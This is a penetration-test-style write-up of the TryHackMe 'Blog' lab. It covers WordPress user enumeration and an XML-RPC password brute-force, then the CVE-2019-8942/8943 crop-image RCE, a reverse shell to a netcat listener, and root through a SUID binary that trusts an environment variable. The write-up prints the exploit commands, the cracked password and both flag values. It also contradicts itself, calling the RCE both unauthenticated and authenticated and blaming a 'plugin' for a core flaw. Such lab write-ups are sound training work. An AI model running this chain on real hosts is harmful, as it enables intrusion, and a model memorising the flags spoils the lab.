// CONFIDENTIAL — OFFENSIVE SECURITY ASSESSMENT

WordPress “Blog” Machine

External Penetration Test & Privilege Escalation Report

TARGET
blog.thm (10.146.136.71)

OVERALL RISK
CRITICAL

ENGAGEMENT TYPE
Black-box Web Application Pentest → Remote Code Execution → Root

OUTCOME
Full compromise achieved

Prepared by: Nishant Saini
Report date: 10 October 2026
Classification: Confidential — For Authorized Recipients Only

SAINI SECURITY LABS

Table of Contents

1. Executive Summary
2. Engagement Scope & Rules of Engagement
3. Methodology
4. Attack Timeline
5. Reconnaissance & Enumeration
6. Vulnerability Analysis
7. Exploitation — Remote Code Execution (CVE-2019-8942/8943)
8. Post-Exploitation & Privilege Escalation
9. Proof of Compromise (Flags)
10. Risk Rating Summary
11. Remediation Recommendations
12. Conclusion

1. Executive Summary

This report documents a full black-box penetration test performed against the WordPress-based host **Billy Joel's IT Blog** (TryHackMe room *"Blog"*, target **10.146.136.71** / **blog.thm**). The engagement followed a complete attack chain from unauthenticated reconnaissance through to full **root-level compromise** of the underlying Linux server, demonstrating that a single outdated WordPress plugin vulnerability, combined with a weak user credential and a dangerously-written custom SUID binary, was sufficient to fully own the host end to end.

The assessment identified an outdated **WordPress 5.0** installation vulnerable to an unauthenticated image-upload remote code execution chain (**CVE-2019-8942** and **CVE-2019-8943** — the "Crop-image Shell Upload" vulnerability in the core Image Editor / Customizer functionality). Username enumeration via the WordPress REST API and RSS feed exposed valid account names, and a subsequent XML-RPC-based password brute-force attack recovered a valid, weak password for the kwheel account. Those credentials were leveraged to upload a malicious, polyglot JPEG payload through the built-in image-crop editor, achieving remote PHP code execution as the www-data user. From there, a custom SUID root binary (/usr/sbin/checker) was found to make an insecure, environment-variable-based authorization decision, allowing trivial privilege escalation to **root** simply by setting admin=1 before execution.

KEY OUTCOME

Target	blog.thm (10.146.136.71) (internal: 10.144.184.106)
CMS / Version	WordPress 5.0 (Twenty Twenty theme)
Entry Vector	Unauthenticated recon → user enum → XML-RPC credential brute-force
Primary Exploit	CVE-2019-8942 / CVE-2019-8943 — WordPress Crop-Image Shell Upload RCE
Initial Foothold	www-data (web server user) via PHP reverse shell
Privilege Escalation	Insecure SUID binary /usr/sbin/checker — env-var trust (admin=1)
Final Access	root (full system compromise)
Overall Risk Rating	CRITICAL

FLAGS CAPTURED

Flag	Value	Location
`user.txt`	`c8421899aae571f7af486492b71a8ab7`	/media/usb/user.txt
`root.txt`	`9a0b2b618bef9bfa7ac28c1353d9f318`	/root/root.txt

2. Engagement Scope & Rules of Engagement

This assessment was carried out in a sanctioned, isolated lab environment (TryHackMe "Blog" room) intended for security training and skills demonstration. All testing activity described in this report was performed exclusively against the designated lab target and did not affect any production systems, third-party infrastructure, or real individuals.

IN-SCOPE ASSETS

- **Web application:** http://blog.thm/ (WordPress 5.0, resolved to 10.146.136.71)
- **Network services:** TCP/22 (SSH), TCP/80 (HTTP), TCP/139 & TCP/445 (SMB/Samba)
- **Operating system:** Ubuntu Linux (host name: BLOG)

TESTING APPROACH

- Black-box methodology — no credentials or internal documentation provided at the start
- Manual and automated reconnaissance, enumeration, exploitation and post-exploitation
- Chained exploitation permitted (privilege escalation following initial foothold)
- Destructive actions limited to lab-safe payloads (reverse shells, flag reads)

TOOLS USED

Tool	Purpose
Nmap 7.99	Port / service / version scanning
Gobuster v3.8.2	Directory & endpoint brute-forcing
WPScan 4.1.0	WordPress enumeration, user discovery, XML-RPC password attack
Metasploit Framework 6.5.3	exploit/multi/http/wp_crop_rce module testing
Custom Python exploit (exploit_oscp.py)	CVE-2019-8942/8943 payload delivery & reverse shell
ltrace	Dynamic analysis of the vulnerable SUID binary
searchsploit	Local exploit-database lookups (OpenSSH 7.6p1)

3. Methodology

The engagement followed a standard offensive-security kill-chain, moving systematically from passive information gathering through to active exploitation and privilege escalation. Each phase built directly on evidence collected in the phase before it.

Phase 1 — Reconnaissance

Full TCP port scan, service & version fingerprinting, HTTP banner/robots.txt review, directory brute-forcing, RSS feed inspection for metadata leakage.

Phase 2 — Enumeration

CMS fingerprinting (WPScan), WordPress user enumeration via REST API & RSS author tags, plugin/theme version discovery, XML-RPC availability checks.

Phase 3 — Credential Access

XML-RPC multicall password brute-force against enumerated usernames to recover valid WordPress credentials.

Phase 4 — Exploitation

Authenticated abuse of the WordPress image Crop & Customizer workflow to smuggle a PHP payload into the active theme directory and trigger remote code execution (CVE-2019-8942/8943).

Phase 5 — Post-Exploitation

Shell stabilization, local file-system enumeration, SUID binary discovery and dynamic analysis (ltrace), and environment-variable based privilege escalation to root.

Phase 6 — Reporting

Evidence capture (40+ screenshots), flag validation against the TryHackMe answer engine, and consolidation into this report.

4. Attack Timeline

The table below reconstructs the chronological sequence of actions taken during the assessment, drawn directly from terminal timestamps captured during testing.

Time	Action
09:56	Engagement started — TryHackMe “Blog” room launched
10:27	Full Nmap scan: ports 22/80/139/445 identified; WordPress 5.0 fingerprinted via HTTP headers
10:35	Target mapped in /etc/hosts as blog.thm → 10.146.136.71
10:37	Gobuster directory brute-force — discovered /wp-login.php, /feed/, /0/
10:39	RSS feed (blog.thm/feed/) reviewed — internal IP 192.168.196.139 leaked in tags
10:44	Confirmed leaked internal IP unreachable externally (expected — private network)
10:59	searchsploit lookup on OpenSSH 7.6p1 — username-enumeration PoCs identified (not exploited further)
11:22	WPScan aggressive scan — confirmed WordPress 5.0, robots.txt, XML-RPC enabled, open uploads directory
11:23	WPScan user enumeration — recovered usernames: bjoel, kwheel, Karen Wheeler, Billy Joel
11:29	Metasploit module exploit/multi/http/wp_crop_rce selected and configured
11:50	WPScan XML-RPC password attack — valid credentials recovered: kwheel : cutiepie1
11:55	Manual login to wp-admin confirmed credentials (dashboard access as Karen Wheeler)
12:13 – 13:06	Multiple Metasploit wp_crop_rce attempts — payload uploaded but sessions unstable/failed to land
21:15	Local /etc/hosts re-verified and refreshed ahead of manual exploit attempt
23:09 – 23:41	Further msf exploit attempts — “Unable to retrieve response to base64 command” errors
01:00 – 01:07	Switched to custom Python exploit (exploit_oscp.py) — second run succeeded: RCE confirmed
01:19	Reverse shell stabilized as www-data; SUID binaries enumerated — /usr/sbin/checker identified
01:23 – 01:24	ltrace analysis of /usr/sbin/checker revealed getenv("admin") authorization check
01:24	Privilege escalation successful — export admin=1 & execute checker → root shell
01:27 – 01:29	user.txt and root.txt flags captured and validated
01:30 – 01:31	Answers verified against TryHackMe platform; exploit re-run twice to confirm reproducibility

5. Reconnaissance & Enumeration

5.1 PORT & SERVICE SCAN

An aggressive Nmap scan across all 65,535 TCP ports identified four open services:

Port	Service / Version	Notes
22/tcp	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3	Linux, protocol 2.0
80/tcp	Apache httpd 2.4.29 (Ubuntu)	WordPress 5.0 (http-generator header)
139/tcp	Samba smbd 3.X–4.X	netbios-ssn (workgroup: WORKGROUP)
445/tcp	Samba smbd 4.7.6-Ubuntu	guest access, message signing disabled

Command: `nmap -sC -sV -p- --min-rate 5000 -T4 10.146.136.71`

5.2 WEB CONTENT DISCOVERY

A medium-wordlist Gobuster scan against the web root surfaced a WordPress login endpoint, the RSS feed, and an Atom feed. robots.txt additionally confirmed /wp-admin/ was disallowed but /wp-admin/admin-ajax.php explicitly allowed — a standard WordPress fingerprint but useful confirmation of the CMS in play.

- /wp-login.php — HTTP 302 (WordPress admin login)
- /feed/ and /feed/atom/ — HTTP 301 (RSS/Atom feeds)
- robots.txt — Disallow: /wp-admin/ ; Allow: /wp-admin/admin-ajax.php

5.3 INFORMATION DISCLOSURE VIA RSS FEED

Inspection of blog.thm/feed/ revealed WordPress had embedded internal server IPs inside the <guid> tags of each post (http://192.168.196.139/?p=8), a byproduct of the site being hosted behind a NAT/AWS configuration without the WP_HOME/WP_SITEURL constants properly set. This is a low-severity information disclosure, but it confirmed the internal topology and reinforced that the public-facing identity (blog.thm) differed from the host's internal self-perception.

5.4 CMS & USER ENUMERATION (WPSCAN)

An aggressive WPScan run against the target confirmed **WordPress 5.0** (released 2018-12-06, already flagged by WPScan itself as insecure), identified XML-RPC as enabled, and found the /wp-content/uploads/ directory had directory listing enabled. Critically, WPScan's user-enumeration module (via the WP-JSON REST API and the RSS author tags) recovered **four** valid usernames:

- **bjoel** — discovered via WP JSON API
- **kwheel** — discovered via WP JSON API
- **Karen Wheeler** — discovered via RSS generator (display name for kwheel)
- **Billy Joel** — discovered via RSS generator (display name for bjoel)

Command: `wpscan --url http://10.146.136.71/ -e u`

6. Vulnerability Analysis

6.1 WEAK / GUESSABLE WORDPRESS CREDENTIALS

HIGH

Using the enumerated usernames, an XML-RPC wp.getUsersBlogs multicall password-spray attack was run through WPScan against the kwheel account. Despite WordPress's rate-limited XML-RPC endpoint causing repeated request timeouts, the attack eventually succeeded, confirming a weak, dictionary-guessable password was in use.

```
[+] Performing password attack on Xmlrpc against 1 user/s
Error: Request timed out.  (x14)
[SUCCESS] - kwheel / cutiepie1
[!] Valid Combinations Found:
  | Username: kwheel, Password: cutiepie1
```

The credential pair kwheel:cutiepie1 was subsequently confirmed interactively via the wp-login.php form, granting full WordPress dashboard access as “Karen Wheeler.”

6.2 OUTDATED WORDPRESS CORE — IMAGE CROP-SHELL UPLOAD RCE

CRITICAL

CVE-2019-8942 / CVE-2019-8943 — WordPress Core, versions up to and including 5.0.0, contain a flaw in the image-crop functionality exposed through wp-admin/customize.php and the Image Editor AJAX endpoints. An authenticated user with upload privileges (such as an Author or Contributor role) can craft a malicious filename and abuse the crop/thumbnail generation routine to write arbitrary PHP content into the currently active theme's directory, since the crop-handling code insufficiently validates the resulting file path before writing it inside wp-content/themes/<active-theme>/. A specially crafted request can smuggle executable PHP code past the GD image-processing pipeline using a polyglot JPEG/PHP payload, after which the file is reachable directly over HTTP and executes as the web-server user.

On this target, WordPress 5.0 was confirmed active with the stock **Twenty Twenty** theme, and the authenticated kwheel account possessed sufficient privileges to trigger the vulnerable upload/crop/include workflow, making full remote code execution possible without any additional privilege requirement.

6.3 INSECURE SUID BINARY — AUTHORIZATION VIA ENVIRONMENT VARIABLE

CRITICAL

A custom SUID-root binary, /usr/sbin/checker, was discovered during post-exploitation file-system enumeration. Dynamic analysis with ltrace revealed the binary's entire authorization logic consists of a single, trivially bypassable check:

```
ltrace /usr/sbin/checker
getenv("admin")                    = nil
puts("Not an Admin")                = 13
Not an Admin
+++ exited (status 0) +++
```

Because the binary trusts an unauthenticated, user-controlled environment variable (admin) to decide whether to drop a privileged (root) shell, any local user — including the low-privileged www-data web-server account obtained via the WordPress RCE — can simply set admin=1 in their shell environment before invoking the binary to be granted a root shell. Since the binary is owned by root with the SUID bit set, this results in **immediate, unauthenticated privilege escalation from web-server user to root**.

7. Exploitation — Remote Code Execution

Exploitation was first attempted through the Metasploit module exploit/multi/http/wp_crop_rce. Multiple runs across several hours encountered a range of environment-specific obstacles — unstable Meterpreter sessions that immediately closed, failed theme retrieval, and a persistent *"Unable to retrieve response to base64 command"* error — consistent with payload-stager instability in the lab network.

```
msf exploit(multi/http/wp_crop_rce) > run
[*] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[-] Exploit aborted due to failure: not-found:
    Unable to retrieve response to base64 command
[*] Exploit completed, but no session was created.
```

To work around the stager instability, the attack was re-run using a purpose-built Python exploit (exploit_oscp.py, implementing CVE-2019-8942 + CVE-2019-8943 in an OSCP-style standalone script) against a netcat listener instead of a Meterpreter handler. This approach succeeded on its second attempt:

```
python3 exploit_oscp.py -t http://blog.thm/ -u kwheel -p cutiepie1 \
    --lhost 192.168.130.136 --lport 4444

[i] Authenticating to WordPress
[+] Authenticated
[+] Detected theme: twentytwenty
[+] Collected media upload nonce
[+] Uploaded image id=41 filename=MRGGdCHcui.jpg
[+] Detected upload path: 2026/10/
[+] Collected image editor nonce
[+] Prepared editor filename: MRGGdCHcui-e1791574549988.jpg
[+] Collected attachment update nonce
[i] Priming crop traversal
[i] Writing payload into active theme directory
[+] Template include prepared through post id=44
[+] Web command execution confirmed
[i] Triggering reverse shell payload
[+] Payload triggered. Check your listener.
```

On the listener side, a fully interactive bash reverse shell was received as the www-data user, running from the web root /var/www/wordpress, confirming successful remote code execution:

```
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.130.136] from (UNKNOWN) [10.144.184.106] 58890
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
www-data@blog:/var/www/wordpress$ whoami
www-data
```

Exploitation was subsequently re-run twice more to confirm reliability and reproducibility of the attack chain, with both follow-up runs succeeding identically.

8. Post-Exploitation & Privilege Escalation

8.1 LOCAL ENUMERATION

With a stable foothold as www-data, the WordPress installation directory was enumerated, confirming standard core files (wp-config.php, wp-login.php, etc.) and no immediately readable database credentials of value. A search for SUID/SGID binaries across the filesystem was then performed:

```
www-data@blog:/var/www/wordpress$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd   /usr/bin/sudo     /usr/bin/pkexec
/usr/bin/chfn     /usr/bin/chsh     /usr/bin/newuidmap
/usr/bin/newgidmap  /usr/bin/at     /usr/bin/traceroute6.iputils
/usr/sbin/checker   ← NON-STANDARD BINARY
/bin/mount  /bin/su  /bin/fusermount  /bin/umount  /bin/ping
```

Among the standard system SUID binaries, /usr/sbin/checker stood out as a non-standard, custom-installed binary — the clear target for privilege escalation.

8.2 BINARY ANALYSIS

Running the binary directly as www-data produced the message *“Not an Admin”* and exited cleanly. Tracing library calls with ltrace exposed the exact logic: the program calls getenv("admin"), and if the environment variable is unset (nil), it refuses privileged action. This strongly implied that setting the variable would satisfy the check.

8.3 PRIVILEGE ESCALATION

```
www-data@blog:/var/www/wordpress$ export admin=1
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
www-data@blog:/var/www/wordpress$ whoami
root
```

Setting the admin environment variable to any truthy value and re-invoking the SUID binary caused it to silently drop privileges to **root** for the remainder of the shell session — a textbook example of insecure, implicit trust in client-controlled environment state within a privileged binary.

9. Proof of Compromise (Flags)

With root access confirmed, both challenge flags were located and extracted to validate full compromise of the host.

USER.TXT

```
root@blog:/var/www/wordpress# find / -name "user.txt" 2>/dev/null | grep -v bjoel
/media/usb/user.txt

root@blog:/var/www/wordpress# cat /media/usb/user.txt
c8421899aae571f7af486492b71a8ab7
```

Note: the user flag was deliberately stored on a mounted USB volume (/media/usb/) rather than a home directory — an unusual but intentional placement for this room.

ROOT.TXT

```
root@blog:/var/www/wordpress# cat /root/root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
```

Both values were independently verified against the TryHackMe platform's answer-checking engine and confirmed correct, alongside the supplementary questions (CMS: WordPress; Version: 5.0; user.txt location: /media/usb), providing conclusive, third-party-validated proof of full end-to-end compromise.

10. Risk Rating Summary

#	Finding	Risk	Severity
F1	WordPress Core Image Crop-Shell Upload RCE (CVE-2019-8942/8943)	CRITICAL	9.8 / Critical
F2	Insecure SUID binary — environment-variable authorization bypass (/usr/sbin/checker)	CRITICAL	9.1 / Critical
F3	Weak / dictionary-guessable WordPress account password (kwheel : cutiepie1)	HIGH	7.5 / High
F4	WordPress username enumeration via REST API & RSS feed	MEDIUM	5.3 / Medium
F5	Internal IP disclosure in RSS feed <guid> tags	LOW	3.1 / Low
F6	Directory listing enabled on /wp-content/uploads/	LOW	3.7 / Low
F7	XML-RPC enabled, permitting large-scale brute-force / amplification attacks	MEDIUM	5.9 / Medium

OVERALL ENGAGEMENT RISK RATING

CRITICAL

The combination of an unauthenticated-reachable RCE vulnerability in a core CMS component and a trivially bypassable root-owned SUID binary resulted in complete compromise of host confidentiality, integrity, and availability. This chain requires immediate remediation.

11. Remediation Recommendations

1. Upgrade WordPress core immediately

Update WordPress to the latest stable release (5.0.x patched builds or newer). Versions 5.0.1+ resolved CVE-2019-8942/8943. Enable automatic minor/security updates where feasible.

2. Remove or rewrite the /usr/sbin/checker binary

Never use an unauthenticated, user-controlled environment variable to gate privileged logic in a SUID binary. Replace with a proper authorization mechanism (PAM, group membership checks, or removing the SUID bit entirely and using sudo with an explicit, audited policy).

3. Enforce strong password policy

Require WordPress account passwords to meet modern complexity/length standards and check against known-breached password lists (e.g. via a plugin enforcing NIST SP 800-63B style guidance).

4. Disable or restrict XML-RPC

If XML-RPC is not required for legitimate integrations (e.g. the WordPress mobile app or Jetpack), disable it entirely, or rate-limit and apply CAPTCHA/IP-based lockout after repeated failed attempts.

5. Harden user enumeration surfaces

Restrict the WP-JSON /wp/v2/users endpoint to authenticated requests only, and avoid exposing real display names in RSS <dc:creator> fields for public feeds.

6. Fix WordPress site URL / internal IP leakage

Correctly configure WP_HOME and WP_SITEURL (or the reverse proxy / load balancer in front of the host) so that internal/private addressing is never reflected back into public-facing content such as RSS GUIDs.

7. Disable directory listing

Set Options -Indexes in Apache configuration (or the equivalent) for the wp-content/uploads/ directory and all other web-root subdirectories.

8. Principle of least privilege for uploader accounts

Review which WordPress roles can upload and crop media; restrict Contributor/Author-level accounts from reaching code paths that interact with theme files.

9. Deploy a Web Application Firewall (WAF)

A WAF capable of inspecting multipart file uploads and blocking polyglot PHP/image payloads would have provided an additional layer of defense against this specific exploit chain.

12. Conclusion

This engagement demonstrates a complete, realistic attack path from unauthenticated external reconnaissance to full root-level compromise of a production-style WordPress host, achieved purely through publicly known vulnerabilities and a locally-discovered authorization flaw — with no zero-day research required. The chain of weaknesses — an outdated CMS core, weak account hygiene, and a carelessly written privileged utility — is representative of real-world findings seen across many WordPress deployments.

The critical takeaway is that defense-in-depth matters: any single control (patching, password policy, or least-privilege binary design) implemented correctly would have broken this attack chain. Organizations running WordPress, or any CMS, in production are strongly encouraged to adopt a continuous patch-management cadence, enforce credential hygiene, and conduct periodic code review of any custom system utilities — especially those carrying the SUID bit.

Report prepared by: Nishant Saini
Date: 10 October 2026
Classification: Confidential — Lab Engagement (TryHackMe "Blog" room)
Contact: nishantsaini0705@gmail.com

— End of Report —